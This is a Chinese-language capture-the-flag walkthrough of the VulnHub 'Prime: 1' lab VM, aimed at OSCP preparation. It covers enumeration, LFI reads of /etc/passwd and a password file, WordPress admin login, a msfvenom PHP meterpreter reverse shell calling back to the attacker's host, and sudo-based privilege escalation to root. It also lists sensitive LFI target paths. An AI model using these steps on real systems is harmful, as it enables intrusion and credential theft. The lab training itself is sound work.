# VulnHub 靶場實戰系列 - Prime: 1 :::info Description: This machine is designed for those one who is trying to prepare for OSCP or OSCP-Exam. This is first level of prime series. Some help at every stage is given. Machine is lengthy as OSCP and Hackthebox's machines are designed. So you have a target to get root flag as well as user flag. If stuck on a point some help are given at a level of enumeration. ::: 0x00 目錄 --- [TOC] 0x01 環境部署 --- * **攻擊機:**[Kali Linux 2024.1 Release](https://www.kali.org/blog/kali-linux-2024-1-release/) * **靶機:**[Prime: 1](https://www.vulnhub.com/entry/prime-1,358/) * **虛擬機軟體**:[VMware Workstation 17 Player](https://www.vmware.com/products/workstation-player/workstation-player-evaluation.html) * **網路:** 均設定成 NAT 模式 * **目標:★ 獲得靶機 Flag ★** | Machine | IP | User | |:------------------------------------------------------------ |:---------------:|:-----------------:| | Kali Linux  | 192.168.206.132 | kali | | Prime: 1  | 未知 | victor (未知密碼) | 0x02 資訊蒐集 --- > **區網內 Class C 主機發現和通訊埠掃描 ▼** ```bash kali@kali:~$ nmap 192.168.206.0/24 ```  <font color=#808080>發現開啟 22 和 80 port、IP 為 192.168.206.132 的 Prime: 1 靶機。</font> > **訪問 http://192.168.206.132 ▼**  > **查看原始碼 ▼** ```bash kali@kali:~$ curl http://192.168.206.132 ```  <font color=#808080>只有一張名為 "hacknpentest.png" 的圖片,似乎沒有什麼可以利用的地方。</font> 0x03 目錄掃描 --- > **用 `dirb` 工具對靶機進行目錄掃描 ▼** ```bash kali@kali:~$ dirb http://192.168.206.132 ```  > **訪問 http://192.168.206.132/dev ▼**  <font color=#808080>沒有什麼有用的資訊。</font> > **接著我們指定檔案類型為 `txt`、`php` 和 `zip` 看看 ▼** ```bash kali@kali:~$ dirb http://192.168.206.132 -X .txt,.php,.zip ```  <font color=#808080>找到三個檔案。</font> > **訪問 http://192.168.206.132/secret.txt ▼**   <font color=#808080>這邊提示我們可以對剛剛找到的另外兩個 .php 檔進行 `模糊測試 (Fuzzing)`。</font> 0x04 FUZZ 和 本機檔案包含 (LFI) ---  > **根據提示使用 `wfuzz` 指令,對 `index.php` 和 `image.php` 進行模糊測試 ▼** ```bash kali@kali:~$ wfuzz -c -w /usr/share/wfuzz/wordlist/general/common.txt --hc 404 http://192.168.206.132/image.php?FUZZ ```  ```bash kali@kali:~$ wfuzz -c -w /usr/share/wfuzz/wordlist/general/common.txt --hc 404 http://192.168.206.132/index.php?FUZZ ```  <font color=#808080>這邊出現很多無效訊息,我們還要再進行過濾。</font> > **`image.php` 過濾 `Chars = 147` ▼** ```bash kali@kali:~$ wfuzz -c -w /usr/share/wfuzz/wordlist/general/common.txt --hh 147 http://192.168.206.132/image.php?FUZZ ```  <font color=#808080>什麼都沒發現,換試看看 `index.php`。</font> > **`index.php` 過濾 `Chars = 136` ▼** ```bash kali@kali:~$ wfuzz -c -w /usr/share/wfuzz/wordlist/general/common.txt --hh 136 http://192.168.206.132/index.php?FUZZ ```  <font color=#808080>得到參數 `file`。</font> > **代入 `file`** ```bash kali@kali:~$ curl http://192.168.206.132/index.php?file ```  <font color=#808080>提示我們方向是對的,但沒有挖到正確的檔案。</font> :point_down: **代入 `location.txt`** :::info kali@kali:~$ curl http://192.168.206.132/index.php?file=location.txt :::  得到參數 ==secrettier360==,並提示我們可以把他代入到 `image.php` 頁面看看。 :point_down: **代入 `secrettier360`** :::info kali@kali:~$ curl http://192.168.206.132/image.php?secrettier360 :::  **提示我們終於找到正確的參數了!** 0x05 WordPress 漏洞利用 --- 這邊列出一些 **LFI (Local File Inclusion)** 常見的敏感路徑: | LFI 常見敏感路徑 (Linux) | 說明 | | :-------- | :--------| | /etc/passwd | 帳號資訊 | | /etc/shadow | 密碼 | | /usr/local/app/apache2/conf/httpd.conf | Apache2 預設設定檔 | | /usr/local/app/apache2/conf/extra/httpd-vhost.conf | 虛擬網站設定 | | /usr/local/app/php5/lib/php.ini | PHP 設定 | | /etc/httpd/conf/httpd.conf | Apacha 預設設定檔 | | /etc/my.conf | MySQL 檔 | | /etc/nginx/nginx.conf | Nginx 設定檔 | | /etc/nginx/sites-enabled/default.conf | Nginx 預設設定檔 | | /root/.ssh/id_rsa | ssh key | :point_down: **先試看看 `/etc/passwd`** :::info kali@kali:~$ curl http://192.168.206.132/image.php?secrettier360=/etc/passwd :::  ...  運氣不錯,得到提示:「**find password.txt file in my directory:/home/saket**」。 :point_down: **代入`/home/saket/password.txt`** :::info kali@kali:~$ curl http://192.168.206.132/image.php?secrettier360=/home/saket/password.txt :::  獲得密碼:==**follow_the_ippsec**==! :point_down: **不確定這個密碼可以用在哪裡,先試看看 ssh 連線** :::info kali@kali:~$ ssh victor@192.168.206.132 :::  失敗,看來應該是別的地方的密碼。 :point_down: **回想前面 dirb 目錄搜尋結果得知,這個靶機上面架了一個 WordPress 網站**  :point_down: **用 `wpscan` 分析看看,加上 `-eu` 挖掘使用者帳號** :::info kali@kali:~$ wpscan --url http://192.168.206.132/wordpress/ -eu :::  找到一個名為 ==**victor**== 的使用者。 :point_down: **有用過 WordPress 的應該知道,在網址後面加上 `/wp-admin` 就能進到後台登入頁面**  :point_down: **嘗試 ==帳號:victor== / ==密碼:follow_the_ippsec==,成功登入!**  :point_down: **首先進到外掛頁面,隨便新增一個檔案看看有沒有檔案上傳漏洞 (File Upload)**    失敗,提示伺服器沒有寫入父目錄的權限。 :point_down: **接著進到外觀頁面,看看有什麼可以利用的地方**  發現 **secret.php**!提示我們終於找到可以寫入的文件了。 0x06 msfvenom 腳本生成 --- :point_down: **生成反向 shell (Reverse shell) 腳本** :::info kali@kali:~$ msfvenom -p php/meterpreter/reverse_tcp lhost=192.168.206.129 lport=1111 :::  :point_down: **複製到 `secret.php` 後 Update**  :point_down: **打開 `msfconsole`,並設定 `lhost`、`lport` 和 `payload`** :::info kali@kali:~$ msfconsole ::: :::warning msf6 > use exploit/multi/handler msf6 > msf6 > set lhost 192.168.206.129 msf6 > set lport 1111 msf6 > set payload php/meterpreter/reverse_tcp msf6 > msf6 > options :::  :point_down: **接著開啟監聽,並訪問`http://192.168.206.132/wordpress/wp-content/themes/twentynineteen/secret.php`** :::warning msf6 > exploit :::  **成功!** 0x07 Linux 特權提升 (Privilege Escalation) - 1 --- :point_down: **切換到系統的 shell** :::warning meterpreter > shell ::: :point_down: **用 Python 升级到完全交互式 shell** :::warning python -c 'import pty;pty.spawn("/bin/bash")' :::  變成熟悉的終端介面了。 :point_down: **輸入 `sudo -l` 查看權限**  發現當前用戶有不用 root 密碼就能執行 /home/saket/enc 的權限 :point_down: **切換到 /home/saket 並顯示該目錄底下的內容**  :point_down: **執行 `enc`,並輸入密碼: `follow_the_ippsec`** :::warning www-data@ubuntu:/home/saket$ sudo ./enc :::  什麼事都沒發生,代表應該不是這個密碼。 :point_down: 那我們嘗試搜尋看看有沒有密碼備份,有時候管理員會習慣在系統中備份密碼 :::warning www-data@ubuntu:/home/saket$ find / -name '*backup*' 2>/dev/null | less| sort :::  找到疑似密碼備份 :point_down: **打開看看** :::warning www-data@ubuntu:/home/saket$ cat /opt/backup/server_database/backup_pass :::  成功找到 `enc` 檔案的密碼:==**backup_password**==! :point_down: **回到上面的步驟,執行 `enc` 並輸入密碼:`backup_password`**   提示 good,並且在該目錄下生成了 `enc.txt` 和 `key.txt`。 :point_down: **分別查看檔案內容** :::warning www-data@ubuntu:/home/saket$ cat enc.txt :::  :::warning www-data@ubuntu:/home/saket$ cat key.txt :::  提示說要對 `ippsec` 進行 md5 加密,然後再拿去解 enc.txt :point_down: **對 `ippsec` 進行 md5 加密** :::warning www-data@ubuntu:/home/saket$ echo -n "ippsec" | md5sum :::  得到 ==**366a74cb3c959de17d61db30591c39d1**==。 :point_down: **前往 [線上AES加解密工具](https://devglan.com/online-tools/aes-encryption-decryption),複製要解密的內容和剛剛得到的 key**  > 得到 `Dont worry saket one day we will reach toour destination very soon. And if you forget your username then use your old password==> "tribute_to_ippsec"Victor,`,所以這邊得到 **saket** 用戶的密碼:**==tribute_to_ippsec==**。 :point_down: **切換成saket並登入** :::warning www-data@ubuntu:/home/saket$ su saket :::  成功。 :point_down: **查看權限** :::warning saket@ubuntu:~$ sudo -l :::   提示找不到 `/tmp/challenge` 檔案,既然沒有就自己創一個。 :point_down: **切換到 `/tmp` 並創建 `challenge` 檔案,然後寫入內容 `/bin/bash`** :::warning saket@ubuntu:/tmp$ echo "/bin/bash" > challenge saket@ubuntu:/tmp$ saket@ubuntu:/tmp$ chmod +x challenge ::: :point_down: **再重新執行 sudo /home/victor/undefeated_victor**  拿到 root 的 shell 了。 :point_down: **最後切換到 `/root` 並打開 `root.txt` :::warning root@ubuntu:/tmp# cd /root root@ubuntu:/root# root@ubuntu:/root# cat root.txt ::: 得到我們的靶機 flag: ==**b2b17036da1de94cfb024540a8e7075a**==! 0x07 Linux 特權提升 (Privilege Escalation) - 2 --- 更新中 ...
×
Sign in
Email
Password
Forgot password
or
By clicking below, you agree to our
terms of service
.
Sign in via Facebook
Sign in via Twitter
Sign in via GitHub
Sign in via Dropbox
Sign in with Wallet
Wallet (
)
Connect another wallet
New to HackMD?
Sign up